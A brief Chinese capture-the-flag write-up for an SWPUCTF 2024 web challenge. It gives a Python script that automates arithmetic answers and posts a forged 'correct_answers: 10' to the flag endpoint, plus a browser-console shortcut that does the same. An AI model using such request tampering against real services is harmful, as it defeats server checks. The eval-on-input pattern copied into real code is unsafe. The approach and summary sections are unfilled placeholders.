区区算数罢了

Problem: [SWPUCTF 2024 秋季新生赛]区区算数罢了

思路

• 解题大致思路

EXP

Ctrl+u 阅读源码后可以修改post中参数的值并调用函数或者写一个python脚本获得flag
correctAnswers=10
getFlag()

import requests
import re

BASE_URL = 'http://node6.anna.nssctf.cn:29696'
session = requests.Session()
correct_count = 0  

def solve_expression(original):
    clean_exp = re.sub(r'[^\d\-+*/]', '', original)
    return eval(clean_exp)

def get_question():
    resp = session.get(f"{BASE_URL}/get_question")
    return resp.json()

def check_answer(data, answer):
    payload = {
        "question": data['question'],
        "answer": answer,
        "timestamp": data['timestamp'],
        "correct_answer": data['answer'],
        "original": data['original']
    }
    resp = session.post(f"{BASE_URL}/check_answer", json=payload)
    return resp.json()

def get_flag():
    payload = {"correct_answers": 10}
    resp = session.post(f"{BASE_URL}/get_flag", json=payload)
    return resp.json()

while correct_count < 10:
    # 获取题目
    question_data = get_question()
    
    # 计算答案
    calculated = solve_expression(question_data['original'])
    
    # 提交验证
    result = check_answer(question_data, calculated)
    print(f"第{correct_count+1}题结果：{result['message']}")
    
    # 更新计数器
    if result.get('correct'):
        correct_count += 1
    else:
        correct_count = 0  

# 获取flag（严格对应前端逻辑）
flag_data = get_flag()
print(f"\n最终flag：{flag_data.get('flag', '未找到flag')}")
print("完整flag响应：", flag_data)

总结

• 对该题的考点总结